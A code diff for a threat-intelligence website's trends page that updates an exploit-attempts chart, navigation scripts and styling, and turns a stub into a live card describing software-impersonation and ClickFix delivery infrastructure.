<div class="cg-infra-field"><span class="cg-infra-field-label">Status</span><span class="cg-infra-field-val"><span class="cg-badge-status-active">Active</span></span></div>
</div></td></tr>
</tbody>
</table>
@@ -806,16 +1025,33 @@ level: critical</div>
</div><!-- /.trends-content -->
</div><!-- /.trends-layout -->
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/highlight.js/11.10.0/styles/atom-one-dark.min.css">
<script src="https://cdnjs.cloudflare.com/ajax/libs/highlight.js/11.10.0/highlight.min.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/Chart.js/4.4.1/chart.umd.min.js"></script>
<script>
Chart.defaults.font.family = 'ui-monospace, monospace';
Chart.defaults.font.size = 11;
const dailyData = {
labels: ['Mar 14','Mar 15','Mar 16','Mar 17','Mar 18','Mar 19','Mar 20','Mar 21',
'Mar 22','Mar 23','Mar 24','Mar 25','Mar 26','Mar 27','Mar 28','Mar 29','Mar 30','Mar 31',
'Apr 1','Apr 2','Apr 3','Apr 4','Apr 5','Apr 6','Apr 7','Apr 8','Apr 9','Apr 10','Apr 11','Apr 12','Apr 13'],
labels: [
'Mar 14','Mar 15','Mar 16','Mar 17','Mar 18','Mar 19','Mar 20','Mar 21',
'Mar 22','Mar 23','Mar 24','Mar 25','Mar 26','Mar 27','Mar 28','Mar 29','Mar 30','Mar 31',
'Apr 1','Apr 2','Apr 3','Apr 4','Apr 5','Apr 6','Apr 7','Apr 8','Apr 9','Apr 10','Apr 11','Apr 12','Apr 13',
'','','','','',
'Apr 19','Apr 20','Apr 21','Apr 22','Apr 23','Apr 24','Apr 25','Apr 26','Apr 27','Apr 28','Apr 29','Apr 30',
'May 1','May 2','May 3','May 4','May 5','May 6','May 7','May 8','May 9','May 10','May 11','May 12','May 13','May 14','May 15','May 16','May 17','May 18','May 19*'
],
datasets: [{
label: 'Exploit attempts',
data: [46,493,483,1194,259,595,185,120,95,201,263,214,113,147,99,152,151,732,375,1807,1171,153,786,1862,643,127,1018,746,520,131,120],
data: [
46,493,483,1194,259,595,185,120,95,201,263,214,113,147,99,152,151,732,
375,1807,1171,153,786,1862,643,127,1018,746,520,131,120,
null,null,null,null,null,
22,170,117,137,394,104,193,410,607,205,187,1086,
286,395,330,233,240,558,312,159,137,74,111,74,281,118,140,79,75,101,3084
],
backgroundColor: function(ctx) {
if (ctx.raw === null) return 'transparent';
if (ctx.dataIndex >= 67) return 'rgba(107,114,128,0.5)'; // May 19 export artifact
var v = ctx.raw;
if (v > 1000) return 'rgba(218,54,51,0.8)';
if (v > 500) return 'rgba(240,136,62,0.7)';
@@ -838,11 +1074,19 @@ new Chart(document.getElementById('dailyChart'), {
borderWidth: 1,
titleFont: { family: 'ui-monospace, monospace', size: 11 },
bodyFont: { size: 12 },
callbacks: {
label: function(ctx) {
if (ctx.raw === null) return null;
return ctx.dataIndex === 67
? ctx.raw + ' (export cutoff — likely artifact)'
: ctx.raw + ' attempts';
}
}
}
},
scales: {
x: {
ticks: { color: '#8b949e', font: { family: 'ui-monospace, monospace', size: 9 }, maxRotation: 45 },
ticks: { color: '#8b949e', font: { family: 'ui-monospace, monospace', size: 9 }, maxRotation: 45, autoSkip: true, maxTicksLimit: 20 },
grid: { display: false },
},
y: {
@@ -897,7 +1141,30 @@ new Chart(document.getElementById('cb2DailyChart'), {
}
});
// Trends sidebar scroll spy
// Infra table row expand toggles
document.querySelectorAll('.cg-infra-toggle').forEach(function(btn) {
btn.addEventListener('click', function() {
var expanded = btn.getAttribute('aria-expanded') === 'true';
btn.setAttribute('aria-expanded', String(!expanded));
var chevron = btn.querySelector('.collapsible-chevron');
if (chevron) chevron.style.transform = expanded ? '' : 'rotate(90deg)';
var row = document.getElementById(btn.getAttribute('data-target'));
if (row) row.classList.toggle('expanded', !expanded);
});
});
// Nav group toggle
document.querySelectorAll('.nav-group-toggle').forEach(function(btn) {
btn.addEventListener('click', function() {
var submenu = document.getElementById(btn.getAttribute('data-target'));
if (!submenu) return;
var open = submenu.classList.toggle('open');
btn.classList.toggle('open', open);
btn.setAttribute('aria-expanded', String(open));
});
});
// Trends sidebar scroll spy (auto-expands nav group when subnav item is active)
(function() {
var navLinks = document.querySelectorAll('.trends-sidebar a');
if (!navLinks.length) return;
@@ -905,15 +1172,42 @@ new Chart(document.getElementById('cb2DailyChart'), {
navLinks.forEach(function(link) { sectionIds.push(link.getAttribute('href').slice(1)); });
var sections = sectionIds.map(function(id) { return document.getElementById(id); }).filter(Boolean);
if (!sections.length) return;
function expandParentGroup(link) {
var subnav = link.closest('.nav-subnav');
if (!subnav) return;
subnav.classList.add('open');
var toggle = document.querySelector('[data-target="' + subnav.id + '"]');
if (toggle) { toggle.classList.add('open'); toggle.setAttribute('aria-expanded', 'true'); }
}
var observer = new IntersectionObserver(function(entries) {
entries.forEach(function(entry) {
if (entry.isIntersecting) {
navLinks.forEach(function(link) {
link.classList.toggle('active', link.getAttribute('href') === '#' + entry.target.id);
var active = link.getAttribute('href') === '#' + entry.target.id;
link.classList.toggle('active', active);
if (active) expandParentGroup(link);
});
}
});
}, { rootMargin: '-20% 0px -70% 0px' });
sections.forEach(function(section) { observer.observe(section); });
})();
// Syntax highlighting
(function() {
if (typeof hljs === 'undefined') return;
function detectLang(text) {
if (/logsource:|condition:/.test(text)) return 'yaml';
return 'bash';
}
document.querySelectorAll('.code-block').forEach(function(el) {
var text = el.textContent || el.innerText;
var lang = detectLang(text);
el.textContent = text; // strip existing <span> markup
el.classList.add('language-' + lang);
hljs.highlightElement(el);
});
})();
</script>
+71 -106
View File
@@ -9,60 +9,74 @@ permalink: /trends/
/* ── Page layout ────────────────────────────────────────────────────────── */
.tr-hero {
position: relative;
padding: 4rem 1.5rem 3rem;
border-bottom: 1px solid var(--border);
background: linear-gradient(160deg, var(--bg) 0%, var(--bg-card) 50%, var(--bg) 100%);
padding: 5.5rem 1.5rem 5rem;
background: var(--bg);
overflow: hidden;
text-align: center;
}
.tr-hero-inner { max-width: 720px; margin: 0 auto; }
.tr-hero-inner { max-width: 680px; margin: 0 auto; }
.tr-hero::before {
content: "";
position: absolute;
inset: 0;
background: radial-gradient(ellipse 60% 50% at 50% 0%, rgba(240,136,62,.12) 0%, transparent 70%);
background: radial-gradient(ellipse 80% 55% at 50% -5%, rgba(240,136,62,.18) 0%, transparent 65%);
pointer-events: none;
}
.tr-hero::after {
content: "";
position: absolute;
bottom: 0; left: 0; right: 0;
height: 1px;
background: linear-gradient(to right, transparent, var(--border) 20%, var(--border) 80%, transparent);
}
.tr-hero > * { position: relative; }
.tr-hero h1 {
font-size: 2.25rem;
font-size: 2.75rem;
font-weight: 800;
color: var(--text);
margin-bottom: .6rem;
margin-bottom: .75rem;
letter-spacing: -.02em;
}
.tr-hero p { font-size: 1rem; color: var(--text-muted); max-width: 640px; line-height: 1.7; }
.tr-hero p { font-size: 1rem; color: var(--text-muted); max-width: 560px; line-height: 1.8; margin: 0 auto; }
/* ── What lives here ────────────────────────────────────────────────────── */
.tr-pillars {
display: grid;
grid-template-columns: repeat(auto-fill, minmax(220px, 1fr));
gap: .75rem;
margin: 2rem 0 3rem;
margin: 2.5rem 0 2.75rem;
}
.tr-pillar {
background: var(--bg-card);
border: 1px solid var(--border);
border-radius: 8px;
padding: 1rem 1.1rem;
padding: 1.1rem 1.25rem;
box-shadow: 0 4px 16px rgba(0,0,0,0.2), inset 0 1px 0 rgba(255,255,255,0.04);
transition: border-color .15s, box-shadow .15s;
}
.tr-pillar:hover {
border-color: rgba(240,136,62,0.35);
box-shadow: 0 6px 20px rgba(0,0,0,0.3), inset 0 1px 0 rgba(255,255,255,0.06);
}
.tr-pillar-icon {
width: 32px; height: 32px;
width: 36px; height: 36px;
display: flex; align-items: center; justify-content: center;
border-radius: 6px;
background: rgba(240,136,62,0.12);
border-radius: 8px;
background: linear-gradient(135deg, rgba(240,136,62,0.22) 0%, rgba(240,136,62,0.07) 100%);
border: 1px solid rgba(240,136,62,0.2);
color: var(--accent);
margin-bottom: .6rem;
margin-bottom: .75rem;
}
.tr-pillar-icon svg { width: 18px; height: 18px; }
.tr-pillar-title {
font-size: .8rem;
font-size: .78rem;
font-weight: 700;
color: var(--text);
text-transform: uppercase;
letter-spacing: .05em;
margin-bottom: .3rem;
letter-spacing: .06em;
margin-bottom: .35rem;
}
.tr-pillar-desc { font-size: .8rem; color: var(--text-muted); line-height: 1.55; }
.tr-pillar-desc { font-size: .8rem; color: var(--text-muted); line-height: 1.6; }
/* ── Section header ─────────────────────────────────────────────────────── */
.tr-section-header {
@@ -72,17 +86,17 @@ permalink: /trends/
margin-bottom: 1.25rem;
}
.tr-section-header h2 {
font-size: 1rem;
font-size: .72rem;
font-weight: 700;
color: var(--text);
color: var(--text-muted);
text-transform: uppercase;
letter-spacing: .08em;
letter-spacing: .12em;
margin: 0;
}
.tr-section-header-line {
flex: 1;
height: 1px;
background: var(--border);
background: linear-gradient(to right, var(--border) 0%, transparent 100%);
}
/* ── Analysis cards ─────────────────────────────────────────────────────── */
@@ -101,12 +115,13 @@ permalink: /trends/
padding: 1.25rem 1.4rem;
text-decoration: none;
color: inherit;
transition: border-color .15s, box-shadow .15s, transform .15s;
transition: border-color .2s, box-shadow .2s, transform .2s;
box-shadow: 0 4px 16px rgba(0,0,0,0.2), inset 0 1px 0 rgba(255,255,255,0.04);
}
.tr-card:hover {
border-color: var(--accent);
box-shadow: 0 0 0 1px var(--accent), 0 8px 24px rgba(0,0,0,.15);
transform: translateY(-1px);
box-shadow: 0 0 0 1px var(--accent), 0 12px 32px rgba(0,0,0,.3), inset 0 1px 0 rgba(255,255,255,0.06);
transform: translateY(-2px);
text-decoration: none;
color: inherit;
}
@@ -205,7 +220,7 @@ permalink: /trends/
</div>
</section>
<div class="max-w-[1280px] mx-auto px-6 py-10">
<div style="max-width:1100px;margin:0 auto;padding:2.5rem 1.5rem 4rem;">
<!-- What lives here -->
<div class="tr-pillars">
@@ -303,91 +318,41 @@ permalink: /trends/
</div>
</a>
<div class="tr-card stub">
<a class="tr-card" href="{{ '/trends/masq-infra/' | relative_url }}">
<div class="tr-card-header">
<div class="tr-card-title">Software Impersonation Infrastructure</div>
<span class="tr-card-badge soon">Under Construction</span>
<span class="tr-card-badge live">Live Data</span>
</div>
<p class="tr-card-desc">
Validated de-intel-pipeline hunts plus aggregate IOC pipeline data. Tracks favicon-pivot discovery,
JS-gated EXE delivery (MROScanner OU cert), ClickFix install modals targeting AI developer tools,
and post-launch domain squatting against Codex CLI and LM Studio.
</p>
<div class="tr-card-stats">
{% if site.data.masq_infra_hunts %}
<span class="tr-stat-chip"><strong>{{ site.data.masq_infra_hunts.meta.hunt_count }}</strong> validated hunts</span>
<span class="tr-stat-chip"><strong>{{ site.data.masq_infra_hunts.meta.brands_targeted | size }}</strong> brands</span>
<span class="tr-stat-chip"><strong>{{ site.data.masq_infra_hunts.meta.confirmed_delivery_count }}</strong> confirmed delivery</span>
{% endif %}
{% if site.data.masq_infra.meta.record_count %}
<span class="tr-stat-chip"><strong>{{ site.data.masq_infra.meta.record_count }}</strong> pipeline records</span>
{% endif %}
{% if site.data.masq_infra_hunts.meta.date_range %}
<span class="tr-stat-chip"><strong>{{ site.data.masq_infra_hunts.meta.date_range }}</strong></span>
{% endif %}
</div>
<div style="display:flex;justify-content:center;"><pre style="font-size:.2rem;line-height:1.1;margin:.75rem 0 .5rem;opacity:.75;color:var(--text-muted);display:inline-block;">
==-----=++***+-=-**#%%%%%%%%%#*
=+****#--#**++=##*#%%%%%%%%%%%%%%%%%%+
=+*########+-*##--=#%%%%%%%%%%%%%%%%%%%%%%
=**############-=#*#%%%%%%%%%%%%%%%%%%%%%%%%%
=+*############%%%#*%%%%%%%@@%%%%%%%%%%%%%%%%#
+**###########%%%#+#%@@@%%%%%%@@@@@@@%%%%%%%%#
+**########%%%%##**%@%%%%%%%%##%%%%%%%%%%%%%%*
+***######%%%#%***%%%%##**++++++++***##%%%%%#
+**######%%%#%**#%##**+++=====--===++*#%++%#
+**######%%%%*##*+++++==---::::::-+++-=+#%*-
+***######%%#%%#*+===-------==::::*+=+++-=%*- -
+**######%%%%%#*+==----+*##*++::::::::::::%= -+*+*:
+*######%%#####*+===-+*=-------::::---::::*= ==*---:
**#####%%######+====------------::--=--:::* =-::+*=+++==+
**####%%######*+===------==+++=-:-=:-#--::- *:-----=+-=+=-
+*###%######%#+====-----=:...=+=-:++..:-:: .:------=+-
=*##%%######%#=====----=-:***.:=-=%@*..-::: .:-----=+=*
*#%##########======---=-+*@*::=-:**-::::::: -===-=+-++-::
*+++++++++###=====--:::----:::::------:::::: =+= ++:++
=++++++++++***===-----:::::::-=====----------- +- ++-+=:= :--
++++++++++=++=====---------:-=++====---------=- +- -==--==+====-
+==+++++++==========--------=++++++====------== -+++***++===:
=+==++++=++====++++==+++++===+++***++++-::--== -+=***++++++==-:
+===++++=+====++++++++#+++=========-::::---=- =++**++++++++++=-:
+====++++=+==++++==-=*@#+=-----------=----- +***+++++++++++===:
=+++++++++==++++=--==+@@@@@@@@@@@@@#-:--- ****++++++++++++===-
+==++++======+##%%%%%@%%#-:--- :=*#***+++++++++++++==
=+++++=======-=+++=---:-- +**+++**#****++++++++*--
=+++++===========---- +***+++*#**********=:--=
**#*++++++++=+== =**+++*###****+=+++=:
+****#######*+==- -==+*****+*+++ -=
====+********++=========---- -======+***+++
-=====++++++*****++++++================-= :------===++***+
----==+++++++***+*******+++++++++++===========-:::::----:---===
-======**********+*******+++++++++++++++++++=+--::::---------==
-=======******************++++++++++****+++++++=--------------
-======++******************++*+++*************++++======----:
-===++++++****###*********++*+*****###*********%+===++=====
-==++++++ **#************++++++++***####* =**+
-==+++++= -*******++++++++++++*****-
:===+++++ ******++++++++=++++++***#
*#=+++++**#= ******++++++=====+++++++*
+********###*+ ******+++++=========++++
+*##**#####* *****+++++==========++++
=#########* *****++++++==========+++
+**########*- +***++++++============+=
-+*******###*+- *****+++++==============
=++*********#*+ +****++++++===========-=
-****#*****#**+ +****+++++++=========++=
***************= *****+++++++====+=+++=+++
=*************+++ =++++++=======+==+=====+:+=
-*************+= +*###*******++++*#====-=+*=
=*********= =****###+*+*+++*#*======**#
=**%###%##+**+*##%=+====#**++++++++******+++
+***###*+=#+*+*###%*+++%################****+
-==++#%%%#-*%%%%%%%%%%%%###%##############******
+*+===++*#%%%%%%%%%%%%####%###%#%%##%#%%%####****
=*++==*#%%#%###############%%%%%%%%%%%%%#%####***
###%%#%##########*###%%#%%%%%%%%%%%######***+
*##%%##########***#%%%%%%%%%%%%%#%%%#####***+
===++- #%#%%######******#%#% #%%%######**+
+=++=*#*= #%#########***#** #%%######**#
+++++*******+- #%###########+*** *#%######*#+-
++++*******++*#%%* #%########****** *%%%###+======
=+=*****+*++*######*=%%########***** ****+**+++====
=+++*****#*+*+%######%%%#########****# *##******+*=*#+=**#-::----:
=+=******#****+%#######%%%*######****** +#*####*++++===++=+++++====-
+++*******#####*%%%%%###%%%######****** =****++++++++++++**+++++++-:
++++******+######*%%%%%%%%%%%%%####***** =#**+**********#####*+-----::
+++**+++##*##%%***###%%%%%%%%%%%####***+ **+=-------=====++++==+*#
+++#*++***%%%%* ##%%%%%%%####** =**++====**********++
*+##**++****+ +#%##### +*+++++++
*+##******#*
+*###***##
++*+*</pre></div>
<div class="tr-card-footer">
<span>Under construction</span>
<span>Updated {% if site.data.masq_infra_hunts %}{{ site.data.masq_infra_hunts.meta.generated }}{% else %}{{ site.data.masq_infra.meta.last_updated | default: "—" }}{% endif %}</span>
<span class="tr-card-cta">
View analysis
<svg xmlns="http://www.w3.org/2000/svg" width="12" height="12" viewBox="0 0 24 24"
fill="none" stroke="currentColor" stroke-width="2.5" stroke-linecap="round"
stroke-linejoin="round" aria-hidden="true">
<polyline points="9 18 15 12 9 6"/>
</svg>
</span>
</div>
</div>
</a>
</div>